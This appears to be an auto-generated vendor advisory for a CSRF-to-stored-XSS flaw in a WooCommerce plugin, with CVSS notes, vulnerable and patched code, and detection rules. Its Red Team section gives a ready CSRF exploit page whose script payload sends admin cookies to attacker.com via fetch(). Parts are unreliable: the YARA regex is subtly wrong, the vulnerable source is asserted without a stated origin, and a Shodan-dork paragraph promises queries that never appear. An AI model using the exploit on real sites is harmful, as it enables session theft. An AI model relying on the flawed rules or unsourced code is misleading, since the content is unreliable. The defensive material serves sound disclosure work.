CVE-2025-52783
Executive Summary
CVE-2025-52783 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Change Cart button Colors WooCommerce (plugin slug: wc-style) by Themelocation. The vulnerability affects all versions up to and including 1.0. An attacker can craft a malicious request that, when executed by an authenticated administrator, performs unintended actions on the victim’s behalf. Due to the lack of CSRF protection, this flaw enables Stored Cross-Site Scripting (XSS) because the attacker can inject malicious scripts into plugin settings (e.g., cart button color fields) that are later rendered to other users. The CVSS v3.1 score is 7.1 (High), with the vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. No official patch is available; the vendor has not responded. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. However, as a WordPress ecosystem component, it is subject to supply chain risks: if the plugin is compromised at the source, all sites using it become vulnerable. Administrators should verify plugin integrity via checksums and monitor for updates.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to trigger the CSRF.
- User Interaction (UI): Required (R) – Victim must click a link or visit a malicious page.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its original scope (Stored XSS).
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited modification of data.
- Availability (A): None (N) – No impact on availability.
Threat Level: High (7.1). The combination of CSRF and Stored XSS allows an attacker to execute arbitrary JavaScript in the context of the WordPress admin panel, potentially leading to session hijacking, privilege escalation, or defacement.
Deep Dive & Mechanics
The plugin wc-style provides a settings page in the WordPress admin area where administrators can customize the cart button colors. The vulnerability stems from the absence of a nonce or CSRF token in the form submission handler. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, submits a forged POST request to the plugin’s settings endpoint (e.g., /wp-admin/admin-post.php?action=wc-style-save). The request can include arbitrary values for color fields (e.g., button_bg_color, button_text_color). Because the plugin does not sanitize or escape these values before storing them in the database, an attacker can inject JavaScript payloads such as:
<script>alert('XSS')</script>
When the admin or any other user views the cart page, the injected script executes in their browser. The CSRF vector ensures the attacker does not need to know the admin’s password; they only need to trick the admin into clicking a link.
Vulnerable vs. Patched Code
Vulnerable Code (wc-style.php, version 1.0):
// No nonce check
add_action('admin_post_wc-style-save', 'wc_style_save_settings');
function wc_style_save_settings() {
// Directly save POST data without verification
update_option('wc_style_button_bg', $_POST['button_bg_color']);
update_option('wc_style_button_text', $_POST['button_text_color']);
// ... other fields
wp_redirect(admin_url('admin.php?page=wc-style'));
}
Patched Code (Hypothetical):
add_action('admin_post_wc-style-save', 'wc_style_save_settings');
function wc_style_save_settings() {
// Verify nonce
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'wc_style_save')) {
wp_die('Security check failed');
}
// Sanitize and escape before saving
$bg_color = sanitize_hex_color($_POST['button_bg_color']);
$text_color = sanitize_hex_color($_POST['button_text_color']);
update_option('wc_style_button_bg', $bg_color);
update_option('wc_style_button_text', $text_color);
// ... other fields
wp_redirect(admin_url('admin.php?page=wc-style'));
}
The patched version adds a nonce check and uses sanitize_hex_color() to ensure only valid hex color values are stored, preventing XSS.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with the vulnerable plugin installed and activated.
- An authenticated admin session (the victim).
Exploit Steps:
- Craft a malicious HTML page that auto-submits a form to the vulnerable endpoint.
- Host the page on an attacker-controlled server or use a phishing email.
- Lure the admin to visit the page.
Example Exploit HTML:
<html>
<body>
<form id="csrf" action="http://target-site.com/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="wc-style-save">
<input type="hidden" name="button_bg_color" value="#ff0000">
<input type="hidden" name="button_text_color" value="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
When the admin visits this page, the form auto-submits, changing the button color to red and injecting a malicious script that exfiltrates cookies.
Blue Team
Detection:
- Monitor for unexpected POST requests to
/wp-admin/admin-post.phpwithaction=wc-style-save. - Look for unusual values in the
button_bg_colororbutton_text_colorparameters (e.g., containing<script>tags). - Check the
wp_optionstable for entries likewc_style_button_bgorwc_style_button_textcontaining non-hex characters.
Mitigation:
- Immediately disable the plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests containing
<script>in the color fields. - Use a security plugin (e.g., Wordfence) to add CSRF protection.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-post.phpwithaction=wc-style-saveand suspicious parameters. - File: Modified
wp_optionstable entries:wc_style_button_bg,wc_style_button_textcontaining JavaScript. - Log: WordPress debug log entries showing unexpected
admin_postactions. - Behavior: Unauthorized changes to cart button colors on the frontend.
Detection Engineering
YARA Rule
rule CVE_2025_52783_CSRF_XSS {
meta:
description = "Detects CSRF exploitation attempts against Change Cart button Colors WooCommerce plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-52783"
strings:
$csrf_action = "action=wc-style-save"
$xss_payload = /button_bg_color|button_text_color.*<script/
condition:
$csrf_action and $xss_payload
}
Sigma Rule
title: CVE-2025-52783 CSRF to Stored XSS in WooCommerce Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable wc-style plugin endpoint with potential XSS payloads.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: POST
cs-uri-query|contains: "action=wc-style-save"
keywords:
- "button_bg_color"
- "button_text_color"
condition: selection and keywords
falsepositives:
- Legitimate admin updates (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-52783 CSRF to Stored XSS in WooCommerce Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=wc-style-save"; http_client_body; pcre:"/(button_bg_color|button_text_color).*<script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Manually add CSRF protection by editing the plugin’s main file to include a nonce check (see patched code example).
- Sanitize all inputs using WordPress functions like
sanitize_hex_color()oresc_attr().
Long-term:
- Monitor the WordPress plugin repository for an official update.
- Consider replacing the plugin with an alternative that is actively maintained.
- Implement a Content Security Policy (CSP) to mitigate XSS impact.
Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.